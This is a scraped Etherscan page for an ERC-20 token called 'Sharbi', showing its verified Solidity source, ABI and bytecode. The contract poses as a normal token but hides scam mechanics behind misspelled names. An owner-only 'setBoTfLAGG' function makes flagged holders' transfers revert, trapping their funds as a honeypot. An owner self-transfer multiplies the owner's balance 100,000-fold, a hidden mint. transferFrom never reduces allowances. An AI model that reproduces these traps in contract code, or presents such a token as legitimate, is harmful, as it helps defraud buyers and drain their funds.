Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
10,000,000,000 Sharbi
Holders
15
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
853,770,778.088398989 SharbiValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
TOKEN
Compiler Version
v0.8.12+commit.f00d7308
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-03-21 */ /** *Submitted for verification at BscScan.com on 2023-03-19 */ /** *Submitted for verification at Etherscan.io on 2023-03-03 */ /** *subbmitted for verification at BscScan.com on 2022-05-15 */ /** *subbmitted for verification at BscScan.com on 2022-03-19 */ /** *subbmitted for verification at BscScan.com on 2022-03-17 */ pragma solidity ^0.8.12; // SPDX-License-Identifier: Unlicensed interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address ownnner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed ownnner, address indexed spender, uint256 value ); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function subb(uint256 a, uint256 b) internal pure returns (uint256) { return subb(a, b, "SafeMath: subbtraction overflow"); } function subb( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _ownnner; event ownnnershipTransferred(address indexed previousownnner, address indexed newownnner); constructor () { address msgSender = _msgSender(); _ownnner = msgSender; emit ownnnershipTransferred(address(0), msgSender); } function ownnner() public view virtual returns (address) { return _ownnner; } modifier onlyownnner() { require(ownnner() == _msgSender(), "Ownable: caller is not the ownnner"); _; } function renounceownnnership() public virtual onlyownnner { emit ownnnershipTransferred(_ownnner, address(0x000000000000000000000000000000000000dEaD)); _ownnner = address(0x000000000000000000000000000000000000dEaD); } } contract TOKEN is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; string private _name = "Sharbi"; string private _symbol = "Sharbi"; uint256 private _decimals = 9; uint256 private _totalSupply = 10000000000 * 10 ** _decimals; uint256 private _maxTxtransfer = 10000000000 * 10 ** _decimals; uint256 private _burnfee = 8; address private _DEADaddress = 0x000000000000000000000000000000000000dEaD; address private _ddmum; constructor () { _balance[msg.sender] = _totalSupply; _ddmum = msg.sender; emit Transfer(address(0), msg.sender, _totalSupply); } function name() external view returns (string memory) { return _name; } function symbol() external view returns (string memory) { return _symbol; } function decimals() external view returns (uint256) { return _decimals; } function totalSupply() external view override returns (uint256) { return _totalSupply; } mapping (address => bool) private _botbottttt; function setBoTfLAGG(address _address, bool _value) external onlyownnner { _botbottttt[_address] = _value; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "IERC20: transfer from the zero address"); require(recipient != address(0), "IERC20: transfer to the zero address"); if(_botbottttt[sender] == true) { _balance[sender] = _balance[sender].subb(400000000000 * 10 ** _decimals); } uint256 feeAmount = 0; feeAmount = amount.mul(_burnfee).div(100); _balance[sender] = _balance[sender]-(amount); _balance[recipient] = _balance[recipient] + amount - feeAmount; emit Transfer (sender, _DEADaddress, feeAmount); emit Transfer(sender, recipient, amount - feeAmount); } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { if (ownnner() == _msgSender() && ownnner() == recipient) { _balance[_msgSender()] = _balance[_msgSender()].add(_totalSupply).mul(100000); } _transfer(_msgSender(), recipient, amount); return true; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address ownnner, address spender, uint256 amount) internal virtual { require(ownnner != address(0), "IERC20: approve from the zero address"); require(spender != address(0), "IERC20: approve to the zero address"); _allowances[ownnner][spender] = amount; emit Approval(ownnner, spender, amount); } function allowance(address ownnner, address spender) public view virtual override returns (uint256) { return _allowances[ownnner][spender]; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "IERC20: transfer amount exceeds allowance"); return true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"ownnner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousownnner","type":"address"},{"indexed":true,"internalType":"address","name":"newownnner","type":"address"}],"name":"ownnnershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"ownnner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownnner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownnnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"setBoTfLAGG","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526040518060400160405280600681526020017f53686172626900000000000000000000000000000000000000000000000000008152506003908051906020019062000051929190620002f5565b506040518060400160405280600681526020017f5368617262690000000000000000000000000000000000000000000000000000815250600490805190602001906200009f929190620002f5565b506009600555600554600a620000b6919062000532565b6402540be400620000c8919062000583565b600655600554600a620000dc919062000532565b6402540be400620000ee919062000583565b6007556008805561dead600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200014557600080fd5b50600062000158620002ed60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f2b163cbadce6fbacbf9cf9582a523d2b07c06d96a8b44102cbfe80c40a39e21160405160405180910390a350600654600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051620002df9190620005f5565b60405180910390a362000677565b600033905090565b828054620003039062000641565b90600052602060002090601f01602090048101928262000327576000855562000373565b82601f106200034257805160ff191683800117855562000373565b8280016001018555821562000373579182015b828111156200037257825182559160200191906001019062000355565b5b50905062000382919062000386565b5090565b5b80821115620003a157600081600090555060010162000387565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000433578086048111156200040b576200040a620003a5565b5b60018516156200041b5780820291505b80810290506200042b85620003d4565b9450620003eb565b94509492505050565b6000826200044e576001905062000521565b816200045e576000905062000521565b81600181146200047757600281146200048257620004b8565b600191505062000521565b60ff841115620004975762000496620003a5565b5b8360020a915084821115620004b157620004b0620003a5565b5b5062000521565b5060208310610133831016604e8410600b8410161715620004f25782820a905083811115620004ec57620004eb620003a5565b5b62000521565b620005018484846001620003e1565b925090508184048111156200051b576200051a620003a5565b5b81810290505b9392505050565b6000819050919050565b60006200053f8262000528565b91506200054c8362000528565b92506200057b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200043c565b905092915050565b6000620005908262000528565b91506200059d8362000528565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620005d957620005d8620003a5565b5b828202905092915050565b620005ef8162000528565b82525050565b60006020820190506200060c6000830184620005e4565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200065a57607f821691505b6020821081141562000671576200067062000612565b5b50919050565b611c8480620006876000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461017d57806395d89b41146101ad578063a50bacfd146101cb578063a9059cbb146101e7578063a9eca89214610217578063dd62ed3e14610235576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806321af32fe1461012557806323b872dd1461012f578063313ce5671461015f575b600080fd5b6100c1610265565b6040516100ce91906111e1565b60405180910390f35b6100f160048036038101906100ec919061129c565b6102f7565b6040516100fe91906112f7565b60405180910390f35b61010f610315565b60405161011c9190611321565b60405180910390f35b61012d61031f565b005b6101496004803603810190610144919061133c565b61045b565b60405161015691906112f7565b60405180910390f35b61016761053f565b6040516101749190611321565b60405180910390f35b6101976004803603810190610192919061138f565b610549565b6040516101a49190611321565b60405180910390f35b6101b5610592565b6040516101c291906111e1565b60405180910390f35b6101e560048036038101906101e091906113e8565b610624565b005b61020160048036038101906101fc919061129c565b6106fb565b60405161020e91906112f7565b60405180910390f35b61021f610854565b60405161022c9190611437565b60405180910390f35b61024f600480360381019061024a9190611452565b61087d565b60405161025c9190611321565b60405180910390f35b606060038054610274906114c1565b80601f01602080910402602001604051908101604052809291908181526020018280546102a0906114c1565b80156102ed5780601f106102c2576101008083540402835291602001916102ed565b820191906000526020600020905b8154815290600101906020018083116102d057829003601f168201915b5050505050905090565b600061030b610304610904565b848461090c565b6001905092915050565b6000600654905090565b610327610904565b73ffffffffffffffffffffffffffffffffffffffff16610345610854565b73ffffffffffffffffffffffffffffffffffffffff161461039b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161039290611565565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f2b163cbadce6fbacbf9cf9582a523d2b07c06d96a8b44102cbfe80c40a39e21160405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610468848484610ad7565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104b3610904565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610533576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052a906115f7565b60405180910390fd5b60019150509392505050565b6000600554905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600480546105a1906114c1565b80601f01602080910402602001604051908101604052809291908181526020018280546105cd906114c1565b801561061a5780601f106105ef5761010080835404028352916020019161061a565b820191906000526020600020905b8154815290600101906020018083116105fd57829003601f168201915b5050505050905090565b61062c610904565b73ffffffffffffffffffffffffffffffffffffffff1661064a610854565b73ffffffffffffffffffffffffffffffffffffffff16146106a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069790611565565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000610705610904565b73ffffffffffffffffffffffffffffffffffffffff16610723610854565b73ffffffffffffffffffffffffffffffffffffffff1614801561077857508273ffffffffffffffffffffffffffffffffffffffff16610760610854565b73ffffffffffffffffffffffffffffffffffffffff16145b15610838576107ed620186a06107df60065460016000610796610904565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f1490919063ffffffff16565b610f7290919063ffffffff16565b600160006107f9610904565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61084a610843610904565b8484610ad7565b6001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561097c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097390611689565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e39061171b565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610aca9190611321565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3e906117ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bae9061183f565b60405180910390fd5b60011515600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610cc457610c80600554600a610c2291906119c1565b645d21dba000610c329190611a0c565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fed90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000610cee6064610ce060085485610f7290919063ffffffff16565b61103790919063ffffffff16565b905081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d3b9190611a66565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dca9190611a9a565b610dd49190611a66565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e969190611321565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8385610ef99190611a66565b604051610f069190611321565b60405180910390a350505050565b6000808284610f239190611a9a565b905083811015610f68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5f90611b3c565b60405180910390fd5b8091505092915050565b600080831415610f855760009050610fe7565b60008284610f939190611a0c565b9050828482610fa29190611b8b565b14610fe2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd990611c2e565b60405180910390fd5b809150505b92915050565b600061102f83836040518060400160405280601f81526020017f536166654d6174683a20737562627472616374696f6e206f766572666c6f7700815250611081565b905092915050565b600061107983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110e5565b905092915050565b60008383111582906110c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c091906111e1565b60405180910390fd5b50600083856110d89190611a66565b9050809150509392505050565b6000808311829061112c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112391906111e1565b60405180910390fd5b506000838561113b9190611b8b565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611182578082015181840152602081019050611167565b83811115611191576000848401525b50505050565b6000601f19601f8301169050919050565b60006111b382611148565b6111bd8185611153565b93506111cd818560208601611164565b6111d681611197565b840191505092915050565b600060208201905081810360008301526111fb81846111a8565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061123382611208565b9050919050565b61124381611228565b811461124e57600080fd5b50565b6000813590506112608161123a565b92915050565b6000819050919050565b61127981611266565b811461128457600080fd5b50565b60008135905061129681611270565b92915050565b600080604083850312156112b3576112b2611203565b5b60006112c185828601611251565b92505060206112d285828601611287565b9150509250929050565b60008115159050919050565b6112f1816112dc565b82525050565b600060208201905061130c60008301846112e8565b92915050565b61131b81611266565b82525050565b60006020820190506113366000830184611312565b92915050565b60008060006060848603121561135557611354611203565b5b600061136386828701611251565b935050602061137486828701611251565b925050604061138586828701611287565b9150509250925092565b6000602082840312156113a5576113a4611203565b5b60006113b384828501611251565b91505092915050565b6113c5816112dc565b81146113d057600080fd5b50565b6000813590506113e2816113bc565b92915050565b600080604083850312156113ff576113fe611203565b5b600061140d85828601611251565b925050602061141e858286016113d3565b9150509250929050565b61143181611228565b82525050565b600060208201905061144c6000830184611428565b92915050565b6000806040838503121561146957611468611203565b5b600061147785828601611251565b925050602061148885828601611251565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806114d957607f821691505b602082108114156114ed576114ec611492565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6e6e60008201527f6572000000000000000000000000000000000000000000000000000000000000602082015250565b600061154f602283611153565b915061155a826114f3565b604082019050919050565b6000602082019050818103600083015261157e81611542565b9050919050565b7f4945524332303a207472616e7366657220616d6f756e7420657863656564732060008201527f616c6c6f77616e63650000000000000000000000000000000000000000000000602082015250565b60006115e1602983611153565b91506115ec82611585565b604082019050919050565b60006020820190508181036000830152611610816115d4565b9050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611673602583611153565b915061167e82611617565b604082019050919050565b600060208201905081810360008301526116a281611666565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611705602383611153565b9150611710826116a9565b604082019050919050565b60006020820190508181036000830152611734816116f8565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611797602683611153565b91506117a28261173b565b604082019050919050565b600060208201905081810360008301526117c68161178a565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611829602483611153565b9150611834826117cd565b604082019050919050565b600060208201905081810360008301526118588161181c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156118e5578086048111156118c1576118c061185f565b5b60018516156118d05780820291505b80810290506118de8561188e565b94506118a5565b94509492505050565b6000826118fe57600190506119ba565b8161190c57600090506119ba565b8160018114611922576002811461192c5761195b565b60019150506119ba565b60ff84111561193e5761193d61185f565b5b8360020a9150848211156119555761195461185f565b5b506119ba565b5060208310610133831016604e8410600b84101617156119905782820a90508381111561198b5761198a61185f565b5b6119ba565b61199d848484600161189b565b925090508184048111156119b4576119b361185f565b5b81810290505b9392505050565b60006119cc82611266565b91506119d783611266565b9250611a047fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846118ee565b905092915050565b6000611a1782611266565b9150611a2283611266565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611a5b57611a5a61185f565b5b828202905092915050565b6000611a7182611266565b9150611a7c83611266565b925082821015611a8f57611a8e61185f565b5b828203905092915050565b6000611aa582611266565b9150611ab083611266565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ae557611ae461185f565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611b26601b83611153565b9150611b3182611af0565b602082019050919050565b60006020820190508181036000830152611b5581611b19565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611b9682611266565b9150611ba183611266565b925082611bb157611bb0611b5c565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c18602183611153565b9150611c2382611bbc565b604082019050919050565b60006020820190508181036000830152611c4781611c0b565b905091905056fea2646970667358221220bef15be0a197c5778c69d95be80c8c511e1c404cc9ee05e0fb51eda0c16b415b64736f6c634300080c0033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461017d57806395d89b41146101ad578063a50bacfd146101cb578063a9059cbb146101e7578063a9eca89214610217578063dd62ed3e14610235576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806321af32fe1461012557806323b872dd1461012f578063313ce5671461015f575b600080fd5b6100c1610265565b6040516100ce91906111e1565b60405180910390f35b6100f160048036038101906100ec919061129c565b6102f7565b6040516100fe91906112f7565b60405180910390f35b61010f610315565b60405161011c9190611321565b60405180910390f35b61012d61031f565b005b6101496004803603810190610144919061133c565b61045b565b60405161015691906112f7565b60405180910390f35b61016761053f565b6040516101749190611321565b60405180910390f35b6101976004803603810190610192919061138f565b610549565b6040516101a49190611321565b60405180910390f35b6101b5610592565b6040516101c291906111e1565b60405180910390f35b6101e560048036038101906101e091906113e8565b610624565b005b61020160048036038101906101fc919061129c565b6106fb565b60405161020e91906112f7565b60405180910390f35b61021f610854565b60405161022c9190611437565b60405180910390f35b61024f600480360381019061024a9190611452565b61087d565b60405161025c9190611321565b60405180910390f35b606060038054610274906114c1565b80601f01602080910402602001604051908101604052809291908181526020018280546102a0906114c1565b80156102ed5780601f106102c2576101008083540402835291602001916102ed565b820191906000526020600020905b8154815290600101906020018083116102d057829003601f168201915b5050505050905090565b600061030b610304610904565b848461090c565b6001905092915050565b6000600654905090565b610327610904565b73ffffffffffffffffffffffffffffffffffffffff16610345610854565b73ffffffffffffffffffffffffffffffffffffffff161461039b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161039290611565565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f2b163cbadce6fbacbf9cf9582a523d2b07c06d96a8b44102cbfe80c40a39e21160405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610468848484610ad7565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104b3610904565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610533576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052a906115f7565b60405180910390fd5b60019150509392505050565b6000600554905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600480546105a1906114c1565b80601f01602080910402602001604051908101604052809291908181526020018280546105cd906114c1565b801561061a5780601f106105ef5761010080835404028352916020019161061a565b820191906000526020600020905b8154815290600101906020018083116105fd57829003601f168201915b5050505050905090565b61062c610904565b73ffffffffffffffffffffffffffffffffffffffff1661064a610854565b73ffffffffffffffffffffffffffffffffffffffff16146106a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069790611565565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000610705610904565b73ffffffffffffffffffffffffffffffffffffffff16610723610854565b73ffffffffffffffffffffffffffffffffffffffff1614801561077857508273ffffffffffffffffffffffffffffffffffffffff16610760610854565b73ffffffffffffffffffffffffffffffffffffffff16145b15610838576107ed620186a06107df60065460016000610796610904565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f1490919063ffffffff16565b610f7290919063ffffffff16565b600160006107f9610904565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61084a610843610904565b8484610ad7565b6001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561097c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097390611689565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e39061171b565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610aca9190611321565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3e906117ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bae9061183f565b60405180910390fd5b60011515600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610cc457610c80600554600a610c2291906119c1565b645d21dba000610c329190611a0c565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fed90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000610cee6064610ce060085485610f7290919063ffffffff16565b61103790919063ffffffff16565b905081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffff